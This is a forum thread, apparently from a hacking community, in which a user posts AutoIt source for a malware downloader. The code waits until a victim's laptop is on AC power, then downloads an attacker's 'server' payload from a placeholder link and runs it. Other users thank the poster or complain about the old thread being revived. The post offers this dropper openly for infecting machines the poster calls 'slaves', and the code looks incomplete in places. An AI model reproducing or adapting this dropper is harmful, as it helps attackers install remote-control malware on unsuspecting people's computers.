Thread: [Downloader AC Adapter Launcher \[AUTOIT \]](#)

The Rage - September 4, 2014, 2:11 pm

Hello

this is new Downloader with different idea , the Downloader detect if the Slave Connected his laptop to Charge or No if connected then download & execute your Server if Not connected then won't Execute until the Slave Do it.

But what if the device is not portable & Laptops?

The program will download and run the server, regardless of the type of device laptop or desktop...etc

Coded in Autoit :-

```
Code AdlibRegister("AC_EXPLOIT", 1000)
Global $DONE,$DIR = "PUT YOU SERVER LINK HERE"
Func GET_SYSTEM_POWER_STATUS()
Local
$TAG_SYSTEM_POWER_STATUS,$SYSTEM_POWER_STATUS,$KERNEL32,$INFORMATION[
5]
$TAG_SYSTEM_POWER_STATUS = "byte ACLineStatus;byte BatteryFlag;byte
BatteryLifePercent;byte Reserved1;int BatteryLifeTime;int BatteryFullLifeTime"
$SYSTEM_POWER_STATUS = DllStructCreate($TAG_SYSTEM_POWER_STATUS)
$KERNEL32 =
DllCall("kernel32.dll","bool","GetSystemPowerStatus","struct*",$SYSTEM_POWER_STATUS)
IF @ERROR OR NOT $KERNEL32[0] THEN RETURN
SETERROR(@ERROR,@EXTENDED,FALSE)
$INFORMATION[0] = DllStructGetData($SYSTEM_POWER_STATUS,1)
$INFORMATION[1] = DllStructGetData($SYSTEM_POWER_STATUS,2)
$INFORMATION[2] = DllStructGetData($SYSTEM_POWER_STATUS,3)
$INFORMATION[3] = DllStructGetData($SYSTEM_POWER_STATUS,5)
$INFORMATION[4] = DllStructGetData($SYSTEM_POWER_STATUS,6)
RETURN $INFORMATION
EndFunc
Func AC_EXPLOIT()
Local $BATTERY_STATUS,$AC_STATUS,$DATA = GET_SYSTEM_POWER_STATUS()
Switch $DATA[1]
Case 0,1,2,4
    $BATTERY_STATUS = False
Case 128
    InetGet($DIR,@DOCUMENTSCOMMONDIR&"\downloader.exe",1)
    ShellExecute(@DOCUMENTSCOMMONDIR&"\downloader.exe")
Case 8
    $BATTERY_STATUS = True
    Switch $DATA[0]
    Case 0
```

```
        $AC_STATUS = False
    Case 1
        $AC_STATUS = True
    EndSwitch
EndSwitch
IF $BATTERY_STATUS = True And $AC_STATUS = True Then
InetGet($DIR,@DOCUMENTSCOMMONDIR&"\downloader.exe",1)
    ShellExecute(@DOCUMENTSCOMMONDIR&"\downloader.exe")
    IF NOT @ERROR Then $DONE = True
EndFunc
Do
Until $DONE = True
```

WOW! thank you m8, thats nice

Infamia - January 20, 2017, 4:49 pm

there is an autoit section, post in there.

autoit looks fucking hideous.

edit:

nevermind, ty M.D. noticed that above asshole dug grave
